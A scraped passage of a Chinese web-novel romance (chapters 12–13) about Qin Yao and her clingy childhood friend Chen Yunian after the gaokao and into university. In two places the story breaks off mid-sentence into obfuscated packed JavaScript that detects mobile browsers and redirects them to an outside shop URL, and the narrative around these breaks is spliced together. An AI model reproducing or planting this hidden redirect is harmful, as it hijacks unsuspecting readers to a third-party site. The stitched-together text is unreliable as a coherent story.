陈寓年揉了揉发烫的耳朵,嘀咕道:“爸,我记得你当年高考不怎么样吧?” “嘿你!” 严芯看到陈寓年抱了秦杳,也冲过来抱她,嘴里还念叨着:“抱抱学神,沾沾学神的力量。” 秦杳也对她说了加油,最终触及陈嘉弋的目光,她歪了下头:“你也要抱不?” 令她惊讶的是,陈嘉弋还真的过来—— 和她握了握手。 这种时候,迷信下没事的。 连着几天,他们每次进考场,秦杳都会抱抱他们。 三年,听起来是漫长的。 上课的时候觉得四十分钟可真难熬,跑八百总觉得忘不见尽头,午休的时间可真短呐,一直盼暑假,盼寒假—— 可考试结束的铃声响起的那一刻,陈寓年放下了笔,他偏头望向窗外,心里又忽然觉得好快。 高中,就这么彻底落幕了。 12. 12 秦杳在一周前随着导师去外省参加竞赛。 航班落地已经是下午一点,几人蹭老师的车回去,输入地址,老师顺口关心了一句:“杳杳,你不住在宿舍啊?” 秦杳因为晕车一直靠着车窗发呆,闻言迟钝地看了过去,这才嗯了声。 她是在大一下学期搬离宿舍的,倒不是和室友关系不好,只是她实在不习惯和别人同居。 秦朗南夫妇也是真的宠她,二话不说就要掏钱赞助女儿,但秦杳才大一就已经是个小富婆了,除了从小攒到大的压岁钱,还有各种比赛得到的奖金,付一套房的首付都足够。 这房子的地段很好,离学校近,不远处就是商场,当然租金也不便宜。 但秦杳不在乎贵不贵,反正她有钱,在自己经济许可的情况下,她总愿意对自己很好。 回到小区,秦杳拖着行李箱走进电梯,总觉得有哪里不太对劲,但又怎么都想不起来。 正思索着,她按了密码推门而入,走到玄关处,双脚却忽然怎么也迈不开。 不同于她离开时凌乱的模样,家里明显被人收拾过了。 此时正是阳光最足的时候,金灿灿地在沙发上落下一片暖意,令她想要立刻躺进去睡觉。 秦杳换了鞋,将行李箱放置一旁,瞥到了被人规规矩矩堆在边上的几个快递,应该是爸爸妈妈给她寄的。 她没有第一时间去拆,而是走向沙发,几个玩偶被人摆弄过了,都老老实实排队坐着,而每个毛茸茸的头顶,都贴着一张粉色的便签—— 「欢迎杳杳大王回家^ ^」 「嗨亲爱的杳杳大王,你终于回来了,想你想你!」 「杳杳大王,我特地洗过澡迎接你回来的哦。」 看到这张,秦杳拿起玩偶闻了闻,真的是香的。 她将几张便签叠了起来,就像是寻找宝藏似的,一张张地收集某人留下的痕迹—— 家里的盆栽,虽然是她买的,但秦杳有些懒,大部分时候都是陈寓年在照顾。但离开的这几天,它们也被照料的很好,便利贴上的语气有些不正经:「嗨杳杳大王,看到我摇曳的美丽身姿了吗?那是我在欢迎你回来。」 “.....” 她忍不住嘀咕了一句好神经,却忍不住蹲下身伸手碰了碰叶子,幼稚地捉弄:“你偷懒了,我回来了,你动一动呀。” 玩了会儿,站起身,只见角落里的零食篮被人装满,其中就有她从小就喜欢吃的黄油面包。 她逛了一圈,走到冰箱前,取下那张便签,不再是以玩偶,或者是家具植物的身份,而是他在对她说—— 「欢迎回家杳杳大王^ ^」 「比赛累了吧,冰箱里有水果,还有一个小蛋糕,是某位身高185.7三百六十度无死角帅气,善良阳光又体贴的帅哥做的,所以。」 秦杳将便利贴翻过来,看到了满页的后半句话:「尝尝吧尝尝吧尝尝吧尝尝吧尝尝吧求求你了求求你了求求你了求求你了!」 看在某位帅哥的份上,秦杳将蛋糕拿了出来,果然和以前他折腾美食一样,在小蛋糕上画了许多萌物。 她吃着蛋糕,视线漫不经心地转了一圈,望着被打扫得干干净净的家,脑海中想到了他盘腿坐着,一张一张认真写着便签的模样,还有.....刚上大学那会儿。 陈寓年的高考成绩其实还不错,两人虽然不在一个大学,但在同一个城市,两所学校离得不远,骑小电驴二十分钟的路程。 进入大学,她没有懈怠,顾着学业的同时,依旧参加竞赛。 陈寓年似乎也挺忙的,好像报了很多选修课,所以第一个学期,他们见面的次数其实不多。 到了第二学期她搬出宿舍,两人见面倒是多了起来,差不多他每周都会过来找她。 秦杳也记不清,他是什么时候侵入她的生活的。 只记得有一次家里正在工作的扫地机器人坏了,秦杳捣鼓了半天没修好,反而把自己弄生气了。 陈寓年对坏掉的扫地机器人说:“知道把我们杳杳大王惹怒的后果是什么吗?” 秦杳狐疑地看了过去,也想知道是什么。 却见他挽起了袖子,哼着歌,心情愉悦地开始扫地,还拿这个扫把一本正经地对扫地机器人说:“后果就是,你下岗了,你不干,有的是人干。” 说着,还有点得得瑟瑟地炫耀了一句:“我可不会出故障。” 毫无反应的扫地机器人:“.....” 秦杳:“......” 她没忍住,笑着骂了句神经。 再之后,他来她家的时候,总会顺手做一些事情,比如带点新鲜水果过来,走的时候把垃圾带上,顺便扫了个地,给盆栽浇浇水.... 秦杳其实不习惯有陌生人踏足自己的私人领域,即便只是打扫卫生。 所以当初才没有请保洁,而是买了扫地机器人。 但陈寓年出现在她的公寓,她却完全不觉得反感,甚至是习惯了他的存在,以至于此时有些疑惑,这位帮她打扫卫生的田螺王子怎么不在—— 秦杳终于意识到是哪里不对了。 这黏人精今天过于安静了。 她找到手机,关闭飞行模式,两秒后,寂静的客厅里,“咚咚咚咚”的消息提示音足足延续了十几秒。 “......” 她摘掉眼镜,无奈叹了声气,点开某位田螺王子黏人精的对话框,最早的一条,来自五个小时前,那时她刚上飞机,给他发了登机的消息,就开了飞行模式。 陈寓年:【好哦,我等你回来!】 陈寓年:【我现在去你家。】 陈寓年:【刚刚有个路怒狂在我后面狂按喇叭,感觉我耳朵都被震聋了TT】 三个小时前。 陈寓年:【我把娃娃都洗了,除了小羊的衣服没干,还晒着。】 他絮絮叨叨发了好几条消息,在一个小时前说:【有个讲座实在逃不掉,我先回去,等会想办法溜出来。】 回去之后,他也没闲着,后来过了她落地的时间,可能是一直没回消息,他在对话框里急得转圈—— 陈寓年:【我的杳杳呢?】 陈寓年:【我们聪明漂亮可爱善良的杳杳大王去哪了?】 陈寓年:【杳杳....杳杳...杳杳....】 “......” 秦杳一时间不知道该回他什么,想了想,还是问:【你在上课?】 他秒回,幽幽的很是哀怨:【你还知道找我。】 “......” 秦杳在解释和不理会之间,选择换了个话题:【蛋糕好吃。】 这人瞬间就被哄好了:【你不理我,我以为你不喜欢,还觉得我烦了。】 烦吗? 秦杳放空脑袋想了想,好像根本没这种情绪。 陈寓年是真的话痨,秦杳都能想到他在那听讲座,表面脸色淡淡的,放在桌底下的手指一定敲到飞起。 两人聊了一会儿,她困得想睡午觉,洗完澡,和他说了一声,就昏天昏地陷入了睡梦。 再次醒来,外头的天色似乎已经暗了下来。 房间里昏沉沉的,她坐在床上发了一会儿呆,隐隐约约瞧见有浅薄的光痕从门缝渗透进来。 见她出来,陈寓年顿时来到她面前:“你醒了?” 秦杳刚睡醒时,脸色总是淡淡的。 她一言不发地盯着男生明朗的笑容,视线望下,又面无表情地打量了下他的穿搭。 上了大学的男生,似乎越来越懂得打扮自己。 明明是一起长大,见过他所有的糗样,可秦杳还是觉得过了十八岁的他很不一样,至少上了大学以后,他每次过来找她,她心里都会非常诚实地觉得,真帅。 尤其是穿搭,完完全全踩在了她的喜好上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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你有没有遇到别的男生? 你团队里那个男的,他有没有跟你搭讪,我跟你说,我一看他就不是个好东西,上次领奖的时候他非要站在你旁边,绝对不坏好意..... 我这几天超级克制,每天只给你发十五条消息,你有没有发现呀。 家里的便利贴你都看过了,怎么不夸夸我。 你不在,我也有好好照顾你的家哦,植物,玩偶,都没落下。 怎么不说话,是没睡醒还是一周不见生疏了不理我,那我该怎么办,完蛋了好像有点喘不过气要死要死要死了...... 秦杳完全不知道他脑子里天南地北脑补自言自语了几万字,喝了杯他倒好的温水,整个人清醒了不少,这才盯着他的耳朵问:“你耳朵怎么样了?” 陈寓年还没有从自己的思绪中抽离出来,愣愣地啊了声,一时间没懂她在说什么。 秦杳放下杯子:“你不是说,被路怒司机震得耳朵都不舒服了吗?” 陈寓年呆呆地眨了眨眼,心里忽然炸了烟花似的,顿时欣喜若狂,但他克制着唇角隐隐翘起的弧度,装模作样地摸了下耳朵:“好像是有点不舒服。” 管他别的男生张三还是王四李六的,他说的一句话,杳杳就注意到了。 杳杳还是最关心他,嘿嘿。 他一直摸着耳朵,眼神也不知道为什么在游离。 秦杳还以为他真的不舒服,毕竟她有看到过那种,因为忽然的高分贝鸣笛短暂听不见的情况。 她走了过去,本意是想看看什么情况,他却下意识地弯腰让她摸,完全忘了自己耳朵后面有什么,看着靠近自己,轻轻拧眉的女孩,他呼吸一轻,恍惚觉得心跳声震耳欲聋。 怎么会这么可爱。 冷着脸都好可爱....... 13. 13 “怎么受伤了?” 秦杳的话令他收回了思绪,他迟钝地嗯了一声,条件反射地伸手去摸耳后的位置,却忘了她还没松手,触碰到的那一刻,两人目光相撞,他大脑忽地空白,完全不记得前一秒她问了什么,他要做什么,要回答什么,他在哪里—— 好近。 好近。 好近好近好近好近好近好近...... 怎么皮肤这么好,连痘痘都没有,眼睛也亮亮的漂亮的要命,睫毛好长,她好香哦......是洗完澡沐浴露的香吗? 好好闻......好香..... 他走神之际,秦杳的心跳也漏了一拍,虽然她和陈寓年的关系一直很好,他也依旧黏人,但是长大后,尤其是进入大学,他们很少会有亲密接触,就连牵手也几乎没有了。 而现在,只是碰到了手,她竟觉得有些奇怪。 但秦杳还没来得及理清自己异常的情绪,目光触及某处,她眨了眨眼,有些怀疑自己是不是没戴眼镜看错了—— “你耳朵怎么红了?” 她又后知后觉,刚才摸他耳朵的时候,好像确实有点烫,难道又生病了? 陈寓年的身体其实已经养好了许多,但寒假的时候他发烧,那一个月都蔫蔫的。 陈寓年回过神,两人默契地退开了些距离,他老实解释:“就是室友玩闹不小心砸到了我。” 秦杳皱着眉:“那怎么没和我说过。” 陈寓年解释:“这不是你在比赛么,怕你担心。” 秦杳盯着他,还是很不开心。 他从小到大就是这样,佯装成一副什么都不在意的乐观模样。他总担心自己的身体会给别人带来困扰,所以常常忍着,独自去面对,就连对父母也不说—— 唯有秦杳是例外。 但她也不知道自己为什么这么不开心——是不开心她也成了他世界里的“别人”,还是气恼他的那两个室友为什么不小心点,居然伤到了他? 她想不通,也不想让自己烦心,陈寓年却像条尾巴似的跟在她身边,轻声说:“杳杳,你对我真好。” 秦杳瞥了他一眼,扔下两个字:“有病。” 受伤的是他。 而她都冷着脸这么不高兴,都不搭理他了,他还觉得她对他好。 只是关心一下而已,就这么容易满足吗? 陈寓年嬉笑着哄人,到了饭点,把她拐出去吃饭。 正好快到期末周,陈寓年问她暑假要不要回去。 除了严芯在本地上大学,他和秦杳,包括陈嘉弋都是在外省。 “要回的,我还没去新家看过呢。” 他们以前住的房子属于老小区了,两家人也都很早就想过换房子,但考虑到那会儿正是高考重要时期,还是先搁置了。 陈寓年一家人在高考后就搬了新房,秦杳的父母那一年工作忙碌,直到上个月才搬,这次两家人不在同一个小区,但这也无所谓了,他们关系好,随时可以来往。 陈寓年点点头,“对了,这次竞赛结束,下半年你是不是可以轻松点了?” “嗯。” 为此,秦杳还为自己安排了一些要做的计划,最重要的一项就是,要尽快去做近视眼手术。 提起这个,两人的话题就到了手术上,一连聊了很久,陈寓年才送她回去。 期末周,两人都挺忙的,时间一晃而过,考试结束,航班落地,是陈嘉弋过来接他们。 晚上两家的大人安排了聚餐,推门走进包厢,陈寓年正低头和杳杳说话,忽然耳边“bong”的一声,他条件反射地想捂她的耳朵,缤纷彩带从天而降,慢悠悠地落在了他们的头上。 “假期快乐!欢迎回家孩子们!” 秦杳淡定地把挡住视线的彩带给拿了下来,见身边的人还是微微张着唇惊魂未定的模样,撇开他的手,走向父母:“爸爸妈妈。” 随而又向陈柏良夫妇问好。 几个大人像是玩尽兴了,脸上都带着笑。 陈嘉弋关上门,瞥了眼他哥,毫不留情地嘲讽:“胆子怎么还这么小。” 陈寓年回魂,要面子地反驳:“谁胆子小了。” 陈嘉弋面无表情地推了下眼镜:“暑假一起去鬼屋,也不知道是谁闭着眼睛死死抱着我的手——” 还一口一个杳杳你怕不怕。 而在意识到抱错人后,陈寓年翻脸不认人转头就走,过了几秒,明明环境漆黑什么都看不清,陈嘉弋和其他几人都听到了某人恶心的声音—— “杳杳,我刚才好像抱错人了,好像是个鬼,好可怕,你牵着我走行不行......” 陈嘉弋一开始还以为他是装的,走出鬼屋才发现,他脸色白的厉害。 陈寓年和他坐在一起互戳短板吵架,秦杳在听妈妈和蒋梦溪说话,两位爸爸时不时地插几句话进来,一如既往的融洽。 聚会的最后时刻,陈柏良先举杯:“欢迎我们三位大学生回家。” 三个孩子回家,就算只是放暑假,对他们来说都是值得碰杯庆祝的时刻。 秦朗南看着几个孩子,仿佛昨天,他们几个还只是在上幼儿园,如今都已成年飞向更高处了。 他心里感慨,有点想落泪,好不容易憋回去了,和身边的陈柏良碰杯:“希望咱们能一直钓鱼,钓到晚年。” 希望咱们啊,永远是朋友。 也希望孩子们,都能顺顺利利的,能够平安而勇敢地往前走,反正他们啊,永远是孩子们的靠山。 - 放暑假,秦杳在新家睡了个懒觉。 付韵秋有个东西一直翻来覆去找不到,她猜测可能是搬家的时候忘记了,刚起床的秦杳主动说她回去找。 才到小区,陈寓年给她打了电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882873|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,知道她在哪里,二话不说地要赶过来。 秦杳还真找到了东西,这东西太小,想来是付韵秋当时没注意,这才遗落在这了。 她关上陈旧的大门下楼,才刚走过一个拐弯,耳边有急促的喘息逐渐逼近,她低头看去,只见陈寓年也正好仰头望过来,他笑着说:“我来了,东西找到了?” 秦杳给他看:“找到了。” 下楼的时候,陈寓年直接走在了她身侧,虽然还喘着气,但实在有太多话要说了,叽里咕噜的也不嫌累,秦杳正听着,瞥见一个年迈的身影。 “乔奶奶?” 陈寓年的话音也顿住,和秦杳对视一眼,快步来到乔奶奶身边。 多年邻居,乔奶奶见到他们两个还挺高兴的,“你们怎么回来了?你们爸妈还好吗?” “他们都挺好的。” 简单唠了两句,秦杳问:“奶奶,您是要换灯泡吗?” 乔奶奶笑着点头,她家的灯泡坏了挺久的,生活实在不太方便。 儿子在外地工作常年不回来,她又不好意思麻烦别人,这不,买了个灯泡,打算自己换。 秦杳原本是想帮奶奶叫人过来换,却不想陈寓年说:“奶奶,你不介意的话,我帮你。” 乔奶奶当然不介意,把两人迎进家里,一直在感谢,“你们两个孩子还是和小时候一样乖,我去洗点水果,你们等会儿留下来吃点。” 再三推辞之下,两人最终还是答应留下来。 乔奶奶去厨房洗水果,秦杳帮忙扶着梯子,仰头和他说话:“你什么时候会换灯泡了。” 他专注捣鼓着,回答的语气却不掩得瑟:“我会的可多了呢。” 秦杳盯着他,也不知怎么,莫名冒出一句话:“你都有自己的秘密了。” 陈寓年没察觉到不对劲,嘴里念叨着我能有什么秘密,而且他在意的另有其事,碎碎念个不停:“乔奶奶说我黑了点,真的假的?” 他话说个不停,换好灯泡,望向秦杳,本意是想让她夸夸自己,却见她下意识地伸了下手,皱眉,显然对他这样站在梯子上,转过身来说话的行为很不满意:“你小心点。” 他干巴巴地哦了一声,梯子其实不高,他缓缓往下,触及女生透着担心的清眸,他动作一顿,下一秒,就要落地的脚忽地一软—— 秦杳猝不及防地接住倒在她身上的人,甚至吓到喊了他的名字。 陈寓年的黑眸清润润地望着她,这么一米八高个的男生,就这么软着身体地抱着她,似是娇弱的轻声道:“对不起,我不是故意的.....你没生气吧?” 秦杳还没回神,木着脑袋摇了摇头,一时间也忘了推开他,视线寸寸往下,想看他脚有没有扭到,陈寓年盯着她的侧脸,心跳快得要命,却还是克制着唇角隐隐翘起的弧度,声音也低低的,透着点可怜:“吓死我了,还好你抱着我....”